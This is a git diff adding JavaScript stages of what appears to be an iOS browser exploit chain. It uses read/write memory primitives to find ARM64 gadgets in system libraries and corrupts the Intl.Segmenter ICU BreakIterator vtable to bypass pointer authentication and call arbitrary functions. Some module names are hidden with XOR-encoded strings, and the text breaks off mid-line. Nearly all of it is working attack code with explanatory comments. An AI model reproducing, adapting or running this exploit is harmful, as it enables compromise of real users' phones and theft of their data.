(0xfc000000n & j(t)) || 0x94000000n === (0xfc000000n & j(t))) { + const o = 4 * this.Hl(t); // sign-extend the branch offset + c.push(n + j(o)); + } + e += 0x4n; + } + return c; + } + // Search within `o` bytes of address `n` for instruction pattern `t` + Rl(n, t, o = 64) { + const c = n; + let e = 0x0n; + for (; e < j(o);) { + const n = c + e; + if (this.Nl(n, t, !1)) return n; + e += 0x4n; + } + return null; + } + // Sign-extend a 26-bit branch immediate (for B/BL offset decoding) + Hl(n) { + return n << 6 >> 6; + } + // Match an instruction sequence at address `n` against pattern `t` + // Handles ADRP relaxation (ignores page bits) and LDR offset masking + // If `o` is true, follows B branches transparently + Nl(n, t, o = !0) { + let c = 0; + const e = []; + // Build masks: ADRP gets 0x9F00001F (ignore page offset), + // LDR after ADRP gets 0xFFC003FF, B/BL gets 0xFC000000, else exact match + for (const n of t) 0x90000000n === (0x9f000000n & j(n)) ? (e.push(0x9f00001fn), c += 1) : c > 0 && 0xf9400000n === (0xffc00000n & j(n)) ? e.push(0xffc003ffn) : 0x14000000n === (0xfc000000n & j(n)) || 0x94000000n === (0xfc000000n & j(n)) ? e.push(0xfc000000n) : e.push(0xffffffffn); + e.length !== t.length && W(); // assert + let l = n; + for (const n in t) { + const c = platformModule.platformState.exploitPrimitive.read32(l); + if ((j(t[n]) & j(e[n])) != (j(c) & j(e[n]))) return !1; + if (!0 === o && 0x14000000n === (0xfc000000n & j(c))) { + const n = 4 * this.Hl(c); + l += j(n); // follow B branch + } else l += 0x4n; + } + return !0; + } + // Disassemble from address `n` collecting ADRP+LDR pointer references + // Returns list of addresses loaded via ADRP+LDR pairs until RET + Ml(n, t = 768) { + const o = [], + c = new Array(32).fill(null); // register file for tracking ADRP values + let e = !1; + for (let l = 0; l < t; l += 4) { + const t = n + j(l), + r = j(platformModule.platformState.exploitPrimitive.read32(t)); + // Check for RETAB (0xD65F0FFF) or RET (0xD65F03C0) + if (0xd65f0fffn === r || 0xd65f03c0n === r) { + e = !0; + break; + } + // ADRP instruction: compute page address + if (0x90000000n === (0x9f000000n & r)) { + const n = r << 8n >> 13n, // immhi + o = r >> 29n & 3n, // immlo + e = 0x1fn & r, // destination register + l = BigInt.asIntN(32, (n << 2n | o) << 12n); // page offset + c[e] = t - t % 0x1000n + l; + // LDR instruction following ADRP: compute final address + } else if (0xf9400000n === (0xffc00000n & r)) { + const n = r >> 5n & 0x1fn, // base register + t = r >> 10n & 0xfffn, // unsigned offset (scaled by 8) + e = c[n]; + null !== e && (o.push(e + 0x8n * t), c[n] = null); + } + } + if (!e) throw new Error("!e"); + return o; + } +} + +// ════════════════════════════════════════════════════════════════════════════ +// Segmenter exploit (const en / SegmenterExploit) +// Core PAC bypass: corrupts Intl.Segmenter iterator's ICU BreakIterator +// vtable to invoke arbitrary PAC-signed function pointers. +// ════════════════════════════════════════════════════════════════════════════ + +/* Original: SegmenterExploit */ +const en = { + // ── Fa: Find all gadgets needed for PAC bypass ────────────────── + // Locates PAC signing gadgets in dyld shared cache libraries: + // - _xmlSAX2GetPublicId in libxml2 (vtable pointer) + // - _dlfcn_globallookup in ActionKit (symbol resolver gadget) + // - _autohinter_iterator_end in CoreGraphics (iterator end gadget) + // - anonymous::begin in CoreGraphics (begin gadget) + // - enet_allocate_packet_payload_default in RESync (call chain gadget) + // - CFRunLoopObserverCreateWithHandler in CoreFoundation (PAC signer) + // - Locates PAC signing vtable in dyld itself + Fa(n) { + const t = n[Symbol.iterator](), + o = (() => { + const n = platformModule.platformState.exploitPrimitive.getObjectAddress(t); // addrof(iterator) — get JSC object address + return platformModule.platformState.exploitPrimitive.read64(n + j(on.ou)); // read inline storage pointer + })() + j(on.cu), // offset to ICU BreakIterator + c = platformModule.platformState.exploitPrimitive.read64(o + j(on.Ku)), // read delegate pointer + e = platformModule.platformState.exploitPrimitive.read64(c + j(on.Hu)), // read vtable pointer + l = nt.nd(cn(e)), // parse ImageList from stripped vtable ptr + r = new or(l), // create ARM64GadgetFinder + // Find PAC-signed pointer to _xmlSAX2GetPublicId in libxml2 + i = r.Ul({ + Dl: "_xmlSAX2GetPublicId", // export name to find + vl: l.tl("libxml2.2.dylib"), // image containing the export + Ll: l.tl("libxml2.2.dylib") // image to search for PAC pointer + }); + if (null === i) throw new Error("null === i"); + window.log(`[PAC] Found _xmlSAX2GetPublicId PAC-signed pointer`); + let a; + // ARM64 instruction pattern for _dlfcn_globallookup gadget (ActionKit) + a = [7868719999, 7142789108, 7130414077, 6727681021, 7147095027, 7826571264, 1384120353, 6778795522, 7314866432, 7147095028, 7148340193, 6793607289, 7147095027, 7148405728, 6778795507, 7148340192, 7134608381, 7126274036, 7891521535]; + // Find PAC-signed pointer to _dlfcn_globallookup gadget + const s = r.Bl({ + Dl: "_dlfcn_globallookup", + Ol: a, + ol: l.tl("/System/Library/PrivateFrameworks/ActionKit.framework/ActionKit", "/System/Library/PrivateFrameworks/ActionKit.framework/Versions/A/ActionKit") + }); + if (null === s) throw new Error("null === s"); + window.log(`[PAC] Found _dlfcn_globallookup gadget`); + // Find _autohinter_iterator_end gadget in CoreGraphics + const u = r.Bl({ + Dl: "_autohinter_iterator_end", + Ol: [7314866369, 8476692514, 7314866306, 8476689440, 8476694561, 7887325279], + ol: l.tl("/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics", "/System/Library/Frameworks/CoreGraphics.framework/Versions/A/CoreGraphics") + }); + if (null === u) throw new Error("null === u"); + window.log(`[PAC] Found _autohinter_iterator_end gadget`); + // Find anonymous::begin gadget in CoreGraphics + const d = r.Bl({ + Dl: "'anonymous namespace'::begin(__int64)", + Ol: [8476697608, 7314866376, 8476690691, 7314866307, 8476689664, 8476694786, 7887325311, 7891518400], + ol: l.tl("/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics", "/System/Library/Frameworks/CoreGraphics.framework/Versions/A/CoreGraphics") + }); + if (null === d) throw new Error("null === d"); + window.log(`[PAC] Found anonymous::begin gadget`); + // Find enet_allocate_packet_payload_default gadget in RESync + const I = r.Bl({ + Dl: "enet_allocate_packet_payload_default", + Ol: [7868719999, 7142789108, 7130414077, 6727681021, 7147095027, 7248744520, 8476781832, 7147160544, 7889422623, 7147095028, 7331643520, 7248744520, 8476783880, 7889422623, 8472496756, 7134608381, 7126274036, 7891521535], + ol: l.tl("/System/Library/PrivateFrameworks/RESync.framework/RESync", "/System/Library/PrivateFrameworks/RESync.framework/Versions/A/RESync") + }); + if (null === I) throw new Error("null === I"); + window.log(`[PAC] Found enet_allocate_packet_payload_default gadget`); + // Extract two call targets from enet gadget (branch destinations) + const m = (() => { + const n = r.Ml(cn(I), 560); + if (2 !== n.length) throw new Error("2 !== n.length"); + return { + ed: n[0], // first ADRP+LDR target + ld: n[1] // second ADRP+LDR target + }; + })(), + // Locate dyld4 internal structures to find the PAC signing vtable + [y, C] = (() => { + const n = l.tl("libdyld.dylib").sl("__DATA_DIRTY"); + if (null === n) return null; + const t = n.xl("__dyld4"); // __dyld4 section in libdyld + if (null === t) return null; + const o = platformModule.platformState.exploitPrimitive.read64(t.bl + 8n), // follow pointer chain + c = platformModule.platformState.exploitPrimitive.read64(cn(o)), + e = platformModule.platformState.exploitPrimitive.read64(cn(c)); + return [o, tt.td(cn(e))]; // [dyld4 pointer, parsed dyld MachOImage] + })(); + if (null === C) throw new Error("null === C"); + // Search dyld's __TEXT for the PAC signing vtable + // The vtable contains pacda/pacia/autia/autda gadgets + const b = (() => { + const n = [null], + // Gadget pattern to identify PAC signing dispatch in dyld + t = [7868719999, 7142865917, 6727664637, 8476688393, 7364673929, 7842349352, 7841299747, 7842416932, 7147226080, 7147619298, 7126219773, 7868720127, 7685933008, 7364149328, 7855443488]; + let o; + // Different gadget patterns for iOS >= 16.4 vs older + for (o = platformModule.platformState.iOSVersion >= 160400 ? [7147095025, 7147619312, 7868719391, 335544332, 7147095025, 7147619312, 7965051409, 335544328, 7147095025, 7147619312, 7868719455, 335544324, 7147095025, 7147619312, 7965052433, 7148209120, 7891518400] : [7314866720, 704840680, 7303347457, 1895825503, 6887112968, 1895828639, 1409286728, 704906224, 8338279967, 6889116176, 6710886417, 6731592241, 7393540656, 268435473, 6628049456, 7887323648, 7965049088, 7891518400, 7965051136, 7891518400, 7965050112, 7891518400, 7965052160, 7891518400]; n.length > 0;) { + const c = r.Kl(C, t, n.pop()); + if (null === c) continue; + n.push(c + 0x4n); + const e = r.zl(c, 4 * t.length + 12); + for (const n in e) + if (2 !== e.length) continue; + if (null !== r.Rl(e[0], o, 256)) return c; + } + return null; + })(); + if (null === b) throw new Error("null === b"); + window.log(`[PAC] Found PAC dispatch gadget in dyld`); + // Locate the actual PAC operation addresses (pacda/pacia/autia/autda) + const { + ua: g, // base address of PAC signing vtable + ma: h // individual PAC operation addresses + } = (() => { + let n, t; + // Different offsets for iOS >= 16.4 (uses 0x10 spacing vs 0x8) + platformModule.platformState.iOSVersion >= 160400 ? (t = 0x10n, n = [7147095025, 7147619312, 7868719391, 335544332, 7147095025, 7147619312, 7965051409, 335544328, 7147095025, 7147619312, 7868719455, 335544324, 7147095025, 7147619312, 7965052433, 7148209120, 7891518400]) : (t = 0x8n, n = [7965049088, 7891518400, 7965051136, 7891518400, 7965050112, 7891518400, 7965052160, 7891518400]); + let o = null; + const c = (t) => r.Kl(C, n, t); + if (platformModule.platformState.iOSVersion >= 160400) + for (;;) { + if (o = c(o), null === o) return null; + if (o !== b) break; // skip the first match (it's the dispatch, not the vtable) + o += j(0x4n * n.length); + } else o = c(o); + if (null === o) return null; + return { + ua: o - 0x40n, // vtable base (0x40 before the first entry) + ma: { + pacda: o, // pacda — sign data pointer + autia: o + 1n * t, // autia — authenticate instruction pointer + pacia: o + 2n * t, // pacia — sign instruction pointer + autda: o + 3n * t // autda — authenticate data pointer + } + }; + })(); + if (null === g) throw new Error("null === g"); + if (null === h.pacda) throw new Error("null === h.pacda"); + if (null === h.ha) throw new Error("null === h.ha"); + if (null === h.pacia) throw new Error("null === h.pacia"); + if (null === h.autda) throw new Error("null === h.autda"); + // Find CFRunLoopObserverCreateWithHandler and extract its ADRP+LDR targets + const p = (() => { + const n = l.tl("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", "/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation").kl("_CFRunLoopObserverCreateWithHandler"); + if (null === n) return null; + const t = r.Ml(n, 128); + return 4 !== t.length ? null : { + rd: n, // function address + qa: t[1], // pointer slot 1 (overwritten during PAC bypass) + $a: t[2] // pointer slot 2 (overwritten during PAC bypass) + }; + })(); + if (null === p) throw new Error("null === p"); + window.log(`[PAC] Located CFRunLoopObserverCreateWithHandler — gadget chain complete`); + return { + Ya: { // gadget addresses for vtable corruption + Ua: i, // _xmlSAX2GetPublicId PAC-signed pointer (vtable entry) + ja: s, // _dlfcn_globallookup PAC-signed pointer + ad: null, + sd: u, // _autohinter_iterator_end PAC-signed pointer + ud: d, // anonymous::begin PAC-signed pointer + dd: I // enet_allocate_packet_payload_default PAC-signed pointer + }, + od: l, // ImageList + Oa: m, // enet gadget call targets {ed, ld} + Id: y, // dyld4 pointer + md: C, // parsed dyld MachOImage + Ja: p, // CFRunLoopObserverCreateWithHandler info + yd: b, // PAC dispatch gadget address + ua: g, // PAC signing vtable base + Ba: { // PAC operation function pointers + pacda: h.pacda, // pacda + autia: h.autia, // autia + pacia: h.pacia, // pacia + autda: h.autda // autda + } + }; + }, + Cd: null, // cached vtable stub buffer + + // ── va: Invoke a function through corrupted Intl.Segmenter iterator ── + // This is the core exploit primitive. It: + // 1. Gets the iterator's internal ICU BreakIterator structure + // 2. Overwrites the BreakIterator's rule table and vtable with fake data + // 3. Chains gadgets so that iterator.next() calls the target function `c` + // with arguments `e`, `l`, `r` + // 4. Calls iterator.next() to trigger the corrupted vtable dispatch + // 5. Reads the return value and restores original state + va(n, t, o, c, e, l, r) { + const i = n[Symbol.iterator](), + a = (() => { + const n = platformModule.platformState.exploitPrimitive.getObjectAddress(i); // addrof(iterator) + return platformModule.platformState.exploitPrimitive.read64(n + j(on.ou)); // inline storage pointer + })(), + s = a + j(on.cu), // ICU BreakIterator + u = platformModule.platformState.exploitPrimitive.read64(a + j(on.eu)), // BreakIterator backing store + d = platformModule.platformState.exploitPrimitive.read64(a + j(on.ru)), // BreakIterator state + I = platformModule.platformState.exploitPrimitive.read64(a + j(on.lu)), // BreakIterator internal data + m = platformModule.platformState.exploitPrimitive.read64(s + j(on.Ku)); // delegate pointer (original vtable) + // Allocate vtable stub buffer (one-time) + null === en.Cd && (en.Cd = platformModule.platformState.exploitPrimitive.allocZeroBuffer(on.Lu)); + const y = en.Cd, + C = platformModule.platformState.exploitPrimitive.read64(u + j(on.au)); // rule table address + { + // ── Corrupt the rule table ────────────────────────────── + const n = platformModule.platformState.exploitPrimitive.read32(C + j(on.su)), // row count + t = platformModule.platformState.exploitPrimitive.read32(C + j(on.uu)), // row size + o = 2 * (on.Xu + platformModule.platformState.exploitPrimitive.read32(C + j(t))), + c = on.fu + o * n; + if (c % 4 != 0) throw new Error("c % 4 != 0"); + // Allocate and copy the rule table + const [e, l] = platformModule.platformState.exploitPrimitive.allocZeroBufferPair(o); + for (let n = 0; n < c; n += 4) platformModule.platformState.exploitPrimitive.write32(l + j(n), platformModule.platformState.exploitPrimitive.read32(C + j(n))); + const r = 2, // flag: word break + i = 4; // flag: sentence break + platformModule.platformState.exploitPrimitive.write32(l + j(on.Iu), i | r); // set break flags + // Zero out all rule rows (force all positions to trigger) + for (let o = 0; o < n; o++) { + const n = l + j(on.mu + t * o); + platformModule.platformState.exploitPrimitive.write32(n, 2); + for (let o = 0; o < t; o++) platformModule.platformState.exploitPrimitive.patchByte(n + j(on.yu + o), 0); + } + // Allocate scratch buffer for call frame + const [b, g] = platformModule.platformState.exploitPrimitive.allocZeroBufferPair(192); + platformModule.platformState.exploitPrimitive.write32(l + j(on.du), 48); + { + // Fill internal data lookup table with sentinel value (160 = 0xA0) + const n = I + j(on.Cu); + for (let t = 0; t < 128; t++) platformModule.platformState.exploitPrimitive.write32(n + j(4 * t), 160); + } + // ── Overwrite ICU BreakIterator pointers ──────────────── + platformModule.platformState.exploitPrimitive.write64(u + j(on.au), l), // replace rule table pointer + platformModule.platformState.exploitPrimitive.write64(a + j(on.iu), g), // replace scratch buffer pointer + platformModule.platformState.exploitPrimitive.write32(d + j(on.bu), 8589934591 /* 0x1FFFFFFFF — max status value */), + platformModule.platformState.exploitPrimitive.write32(s + j(on.hu), 160); // set position to 160 (0xA0) + // Copy vtable stub: redirect virtual dispatch to our gadget chain + for (let n = 0; n < on.Lu; n += 4) platformModule.platformState.exploitPrimitive.write32(y + j(n), platformModule.platformState.exploitPrimitive.read32(m) + n); + } + const b = { + bd: null, // saved enet gadget target 1 + gd: null // saved enet gadget target 2 + }; + let g; + // ── Build fake call frames (chained objects) ──────────────── + // These simulate C++ object layouts that the gadgets expect, + // allowing us to control the arguments passed to the target function. + const h = { // Frame A layout + hd: 8, // pointer to next frame + pd: 32, // function pointer slot + Kd: 48 // secondary pointer + }, + p = 56, // Frame A total size + K = { // Frame B layout + Ld: 16 // return value slot + }, + L = 24, // Frame B total size + X = { // Frame C layout + hd: 72 // pointer to next frame + }, + f = 80, // Frame C total size + _ = { // Frame D layout + hd: 8, // pointer to arg + pd: 16, // function pointer + Xd: 48 // context/extra arg + }, + M = 56, // Frame D total size + T = platformModule.platformState.exploitPrimitive.allocZeroBuffer(p), // allocate Frame A1 + x = platformModule.platformState.exploitPrimitive.allocZeroBuffer(p), // allocate Frame A2 + k = platformModule.platformState.exploitPrimitive.allocZeroBuffer(L), // allocate Frame B (return value) + G = platformModule.platformState.exploitPrimitive.allocZeroBuffer(f), // allocate Frame C + D = platformModule.platformState.exploitPrimitive.allocZeroBuffer(M), // allocate Frame D + { + Ua: w, // _xmlSAX2GetPublicId vtable pointer + sd: S, // _autohinter_iterator_end gadget + ud: A, // anonymous::begin gadget + dd: Z // enet gadget + } = t; + // ── Wire up the gadget chain ──────────────────────────────── + // Overwrite vtable dispatch target to point through our chain: + // vtable -> S (autohinter_iterator_end) -> A (begin) -> Z (enet) -> target function + platformModule.platformState.exploitPrimitive.write64(y + j(on.Hu), S), // vtable[dispatch] = autohinter_iterator_end + platformModule.platformState.exploitPrimitive.write64(s + j(on.Ku), y), // delegate = fake vtable + platformModule.platformState.exploitPrimitive.write64(s + j(on.gu), T), // fake vtable pointer for position check + platformModule.platformState.exploitPrimitive.write64(k + j(K.Ld), 0x3333deadn), // sentinel in return slot + platformModule.platformState.exploitPrimitive.write64(T + j(h.hd), k), // Frame A1 -> Frame B + platformModule.platformState.exploitPrimitive.write64(T + j(h.Kd), x), // Frame A1 -> Frame A2 + platformModule.platformState.exploitPrimitive.write64(T + j(h.pd), Z), // Frame A1: function = enet gadget + b.bd = platformModule.platformState.exploitPrimitive.read64(o.ed), // save original enet target 1 + b.gd = platformModule.platformState.exploitPrimitive.read64(o.ld), // save original enet target 2 + platformModule.platformState.exploitPrimitive.write64(o.ed, S), // enet target 1 = autohinter_iterator_end + platformModule.platformState.exploitPrimitive.write64(o.ld, w), // enet target 2 = vtable pointer + platformModule.platformState.exploitPrimitive.write64(x + j(h.hd), G), // Frame A2 -> Frame C + platformModule.platformState.exploitPrimitive.write64(x + j(h.Kd), l), // Frame A2: extra arg = l + platformModule.platformState.exploitPrimitive.write64(x + j(h.pd), A), // Frame A2: function = begin gadget + platformModule.platformState.exploitPrimitive.write64(G + j(X.hd), D), // Frame C -> Frame D + platformModule.platformState.exploitPrimitive.write64(D + j(_.hd), e), // Frame D: arg1 = e + platformModule.platformState.exploitPrimitive.write64(D + j(_.Xd), r), // Frame D: arg3 = r + platformModule.platformState.exploitPrimitive.write64(D + j(_.pd), c); // Frame D: function = target function c + // ── Trigger the corrupted vtable dispatch ─────────────────── + // Calling iterator.next() invokes the BreakIterator's virtual handleNext(), + // which now dispatches through our gadget chain to call function `c(e, l, r)`. + try { + i.next().value; + } finally { + // ── Read return value and restore everything ──────────── + g = platformModule.platformState.exploitPrimitive.read64(k + j(K.Ld)), // read return value from Frame B + platformModule.platformState.exploitPrimitive.write64(o.ed, b.bd), // restore enet target 1 + platformModule.platformState.exploitPrimitive.write64(o.ld, b.gd), // restore enet target 2 + platformModule.platformState.exploitPrimitive.write64(u + j(on.au), C), // restore rule table + platformModule.platformState.exploitPrimitive.write64(a + j(on.iu), 0x0n), // clear scratch buffer + platformModule.platformState.exploitPrimitive.write64(s + j(on.Ku), m); // restore original vtable + } + return void 0 === g && W(), g; // assert return value is defined + } +}; + +// ════════════════════════════════════════════════════════════════════════════ +// Module exports +// ════════════════════════════════════════════════════════════════════════════ + +return r; \ No newline at end of file diff --git a/Stage2_16.6_16.7.12_seedbell.js b/Stage2_16.6_16.7.12_seedbell.js new file mode 100644 index 0000000..03a5879 --- /dev/null +++ b/Stage2_16.6_16.7.12_seedbell.js @@ -0,0 +1,415 @@ +let r = {}; +const x = globalThis.moduleManager.getModuleByName([113, 115, 114, 118, 116, 118, 116, 114, 32, 114, 118, 116, 115, 125, 38, 37, 37, 32, 116, 33, 113, 115, 33, 114, 32, 125, 33, 39, 125, 119, 117, 118, 116, 39, 116, 34, 113, 118, 112, 115].map((x) => { + return String.fromCharCode(x ^ 68); + }).join("")), + P = globalThis.moduleManager.getModuleByName([88, 93, 95, 95, 80, 10, 8, 90, 11, 88, 92, 88, 80, 11, 8, 91, 8, 81, 15, 93, 89, 11, 12, 91, 81, 94, 15, 95, 93, 95, 13, 93, 13, 94, 92, 80, 90, 12, 11, 89].map((x) => { + return String.fromCharCode(x ^ 105); + }).join("")), + { + N: G, + tn: W, + nn: C, + Vt: m, + U: j, + An: S, + vn: O, + T: l, + v: o, + I: u, + B: s, + K: R, + O: K + } = globalThis.moduleManager.getModuleByName([93, 95, 94, 90, 88, 90, 88, 94, 12, 94, 90, 88, 95, 81, 10, 9, 9, 12, 88, 13, 93, 95, 13, 94, 12, 81, 13, 11, 81, 91, 89, 90, 88, 11, 88, 14, 93, 90, 92, 95].map((x) => { + return String.fromCharCode(x ^ 104); + }).join("")); +r.ga = function () { + P.platformState.exploitPrimitive, P.platformState.Dn; + const t = new ht(); + return new bt(t); +}; +class bt { + constructor(t) { + this.tb = t, this.cc = !0, this.La = this.tb.La, this.Ga = this.tb.Ga, this.Xa = this.tb.Xa, this.Ma = this.tb.Ma; + } + pacda(t, a) { + return x.Int64.fromBigInt(this.tb.pacda(t.Nt(), a.Nt())); + } + pacia(t, a) { + return x.Int64.fromBigInt(this.tb.pacia(t.Nt(), a.Nt())); + } + autda(t, a) { + return x.Int64.fromBigInt(this.tb.autda(t.Nt(), a.Nt())); + } + autia(t, a) { + return x.Int64.fromBigInt(this.tb.autia(t.Nt(), a.Nt())); + } + tc(t, a, s) { + return x.Int64.fromBigInt(this.tb.Wn.call({ + ab: t.Nt(), + sb: a.Nt(), + x1: s.Nt(), + x2: j(0), + ib: j(0), + bb: j(0) + })); + } +} +class ht { + constructor() { + const t = P.platformState.Dn; + P.platformState.exploitPrimitive; + this.Dn = { + _a: t.nl._a + }, this.Wn = new _t(), this.eb = new ft(), this.hb = { + lb: this.eb.call({ + ab: this.Dn._a + }) + }; + { + const a = t.nl.fa; + let s = 0x10n, + i = [4294967296 + (1450143794 ^ -59804733), 4294967296 + (1899192132 ^ -616866636), 4294967296 + (910970458 ^ -481333435), 1967346791 ^ 1631802475, 4294967296 + (1098472013 ^ -344368708), 4294967296 + (1294807873 ^ -416993103), 4294967296 + (2021087605 ^ -1565109404), 1145260849 ^ 1346587449, 4294967296 + (1600931170 ^ -177453421), 4294967296 + (1635151411 ^ -880906813), 4294967296 + (1432839029 ^ -2140913110), 963209802 ^ 761883214, 4294967296 + (1898786936 ^ -617794679), 4294967296 + (861296482 ^ -1721871214), 4294967296 + (829114421 ^ -341162460), 4294967296 + (929134714 ^ -1653572710), 4294967296 + (1682923826 ^ -1307548942)], + b = null; + const e = (s) => t.rl.Kl(a, i, s); + for (;;) { + if (b = e(b), null === b) return null; + if (b !== this.Dn._a) break; + b += j(0x4n * i.length); + } + if (null === b) return null; + this.La = m.ot(b), this.Ga = m.ot(b + 1n * s), this.Xa = m.ot(b + 2n * s), this.Ma = m.ot(b + 3n * s); + } + } + nb(t, a, s) { + P.platformState.Dn, P.platformState.exploitPrimitive; + return this.Wn.call({ + ab: this.hb.lb, + sb: a, + x1: s & j(0xffffffffffff), + x2: 1n, + ib: s >> 48n & 0xFFFFn, + bb: j(t) + }); + } + pacda(t, a) { + return this.nb(0, t, a); + } + pacia(t, a) { + return this.nb(1, t, a); + } + autia(t, a) { + return this.nb(2, t, a); + } + autda(t, a) { + return this.nb(3, t, a); + } +} +class ft { + constructor() { + const t = P.platformState.Dn, + a = P.platformState.exploitPrimitive; + this.ob = new Tt(), this.hb = { + cb: this.ob.rb([8, 29, 28, 56, 17, 3, 24, 35, 19, 17, 30, 54, 5, 28, 28].map((x) => { + return String.fromCharCode(x ^ 112); + }).join("")), + $l: t.nl.$l, + fb: this.ob.rb([57, 60, 40, 15, 20, 54, 21, 21, 10, 53, 24, 9, 31, 8, 12, 31, 8, 57, 8, 31, 27, 14, 31, 45, 19, 14, 18, 50, 27, 20, 30, 22, 31, 8].map((x) => { + return String.fromCharCode(x ^ 122); + }).join("")), + Zl: t.nl.Zl + }; + const s = S(this.hb.fb), + i = t.rl.Ml(s, 911422819 ^ 911422947); + if (4 !== i.length) throw new Error("4 !== i.length"); + this.Dn = { + qa: i[1], + $a: i[2] + }, this.ub = a.allocZeroBuffer(32), this._b = a.allocZeroBuffer(48), this.Tb = a.allocZeroBuffer(1666085986 ^ 1666086754), this.gb = new dt(); + } + call(t) { + let a = 0; + P.platformState.Dn; + const s = P.platformState.exploitPrimitive, + i = [ + [this.ub, [ + [0, this._b], + [8, 1], + [12, 1]]], + + [this._b, [ + [0, 0], + [8, 0], + [16, 0], + [24, 0], + [32, this.Tb], + [40, 1]]], + + [this.Tb, [ + [64, 0], + [24, 0], + [1110455119 ^ 1110455095, 0], + [846681714 ^ 846681946, 0], + [1431400566 ^ 1431400774, 0], + [1752527982 ^ 1752528214, 0], + [1632580978 ^ 1632580650, 0], + [1145787187 ^ 1145786955, this.hb.fb], + [1347252793 ^ 1347252913, 0], + [910898992 ^ 910898864, 0], + [1883468367 ^ 1883468743, 0], + [1731751514 ^ 1731751882, 0]]]]; + + + for (const [t, a] of i) + for (let [i, b] of a) null == b && (b = 0x0n), s.write64(j(t) + j(i), j(b)); + const b = s.read64(this.Dn.qa), + e = s.read64(this.Dn.$a); + try { + s.write64(this.Dn.qa, S(this.hb.Zl)), s.write64(this.Dn.$a, t.ab); + const i = this.gb.call({ + ab: this.hb.cb, + sb: this.ub, + x1: this.hb.$l, + x2: 0x0n + }); + a = s.read64(i + 0x90n); + } finally { + s.write64(this.Dn.qa, b), s.write64(this.Dn.$a, e); + } + return a; + } +} +class dt { + constructor() { + const t = P.platformState.Dn, + a = P.platformState.exploitPrimitive; + this.Dn = { + Zl: t.nl.Zl, + ql: t.nl.ql, + Yl: t.nl.Yl, + Wl: t.nl.Wl, + $l: t.nl.$l, + Ql: t.nl.Ql, + ra: t.nl.ra + }, this.xb = a.allocZeroBuffer(80), this.pb = a.allocZeroBuffer(80), this.wb = a.allocZeroBuffer(80), this.Tb = a.allocZeroBuffer(1095919665 ^ 1095920433), this.zb = a.allocZeroBuffer(80), this.Pb = new ut(); + } + call(t) { + P.platformState.Dn; + const a = P.platformState.exploitPrimitive, + s = [ + [this.wb, [ + [32, this.Dn.ql], + [8, this.zb], + [48, this.Tb]]], + + [this.zb, [ + [16, j(7444609979)]]], + + [this.Tb, [ + [64, 0], + [24, 0], + [1634037332 ^ 1634037292, 0], + [861419615 ^ 861419895, 0], + [1333423928 ^ 1333423624, 0], + [1416380756 ^ 1416380524, 0], + [1416902487 ^ 1416902159, 0], + [1869759335 ^ 1869759007, this.Dn.Ql], + [2020692851 ^ 2020692987, 0], + [812332889 ^ 812332761, t.x1], + [1430803795 ^ 1430803675, this.xb], + [1180129626 ^ 1180129482, j(1733506371 ^ 2074081679)]]], + + [this.xb, [ + [16, t.ab], + [8, t.sb], + [48, t.x2]]]]; + + + for (const [t, i] of s) + for (let [s, b] of i) null == b && (b = 0x0n), a.write64(j(t) + j(s), j(b)); + const i = a.read64(this.Dn.Yl), + b = a.read64(this.Dn.Wl); + try { + a.write64(this.Dn.Yl, this.Dn.$l), a.write64(this.Dn.Wl, this.Dn.Zl), this.Pb.call(this.Dn.ra, this.wb); + } finally { + a.write64(this.Dn.Yl, i), a.write64(this.Dn.Wl, b); + } + return a.read64(this.zb + 0x10n); + } +} +class ut { + constructor() { + const t = P.platformState.exploitPrimitive, + a = new Intl.Segmenter("en", { + Pa: [61, 43, 32, 58, 43, 32, 45, 43].map((x) => { + return String.fromCharCode(x ^ 78); + }).join("") + }), + s = []; + for (let t = 0; t < (1366587205 ^ 1366586985); t++) s.push("a"); + const i = s.join(" "); + a.segment(i); + this.yb = a, this.Fb = a.segment(i), this.Cd = t.allocZeroBuffer(globalThis.moduleManager.getModuleByName([4, 1, 3, 3, 12, 86, 84, 6, 87, 4, 0, 4, 12, 87, 84, 7, 84, 13, 83, 1, 5, 87, 80, 7, 13, 2, 83, 3, 1, 3, 81, 1, 81, 2, 0, 12, 6, 80, 87, 5].map((x) => { + return String.fromCharCode(x ^ 53); + }).join("")).platformState.versionFlags.NfRtuR); + } + call(t, a) { + const s = P.platformState.exploitPrimitive, + i = this.Fb[Symbol.iterator](), + b = (() => { + const t = s.getObjectAddress(i); + return s.read64(t + j(globalThis.moduleManager.getModuleByName([124, 121, 123, 123, 116, 46, 44, 126, 47, 124, 120, 124, 116, 47, 44, 127, 44, 117, 43, 121, 125, 47, 40, 127, 117, 122, 43, 123, 121, 123, 41, 121, 41, 122, 120, 116, 126, 40, 47, 125].map((x) => { + return String.fromCharCode(x ^ 77); + }).join("")).platformState.versionFlags.jtUNKB)); + })(), + e = b + j(globalThis.moduleManager.getModuleByName([112, 117, 119, 119, 120, 34, 32, 114, 35, 112, 116, 112, 120, 35, 32, 115, 32, 121, 39, 117, 113, 35, 36, 115, 121, 118, 39, 119, 117, 119, 37, 117, 37, 118, 116, 120, 114, 36, 35, 113].map((x) => { + return String.fromCharCode(x ^ 65); + }).join("")).platformState.versionFlags.MJf4mX), + h = s.read64(b + j(globalThis.moduleManager.getModuleByName([103, 98, 96, 96, 111, 53, 55, 101, 52, 103, 99, 103, 111, 52, 55, 100, 55, 110, 48, 98, 102, 52, 51, 100, 110, 97, 48, 96, 98, 96, 50, 98, 50, 97, 99, 111, 101, 51, 52, 102].map((x) => { + return String.fromCharCode(x ^ 86); + }).join("")).platformState.versionFlags.zPL1kr)), + l = s.read64(b + j(globalThis.moduleManager.getModuleByName([118, 115, 113, 113, 126, 36, 38, 116, 37, 118, 114, 118, 126, 37, 38, 117, 38, 127, 33, 115, 119, 37, 34, 117, 127, 112, 33, 113, 115, 113, 35, 115, 35, 112, 114, 126, 116, 34, 37, 119].map((x) => { + return String.fromCharCode(x ^ 71); + }).join("")).platformState.versionFlags.ga3074)), + n = s.read64(b + j(globalThis.moduleManager.getModuleByName([75, 78, 76, 76, 67, 25, 27, 73, 24, 75, 79, 75, 67, 24, 27, 72, 27, 66, 28, 78, 74, 24, 31, 72, 66, 77, 28, 76, 78, 76, 30, 78, 30, 77, 79, 67, 73, 31, 24, 74].map((x) => { + return String.fromCharCode(x ^ 122); + }).join("")).platformState.versionFlags.yjShKn)), + o = s.read64(e + j(globalThis.moduleManager.getModuleByName([86, 83, 81, 81, 94, 4, 6, 84, 5, 86, 82, 86, 94, 5, 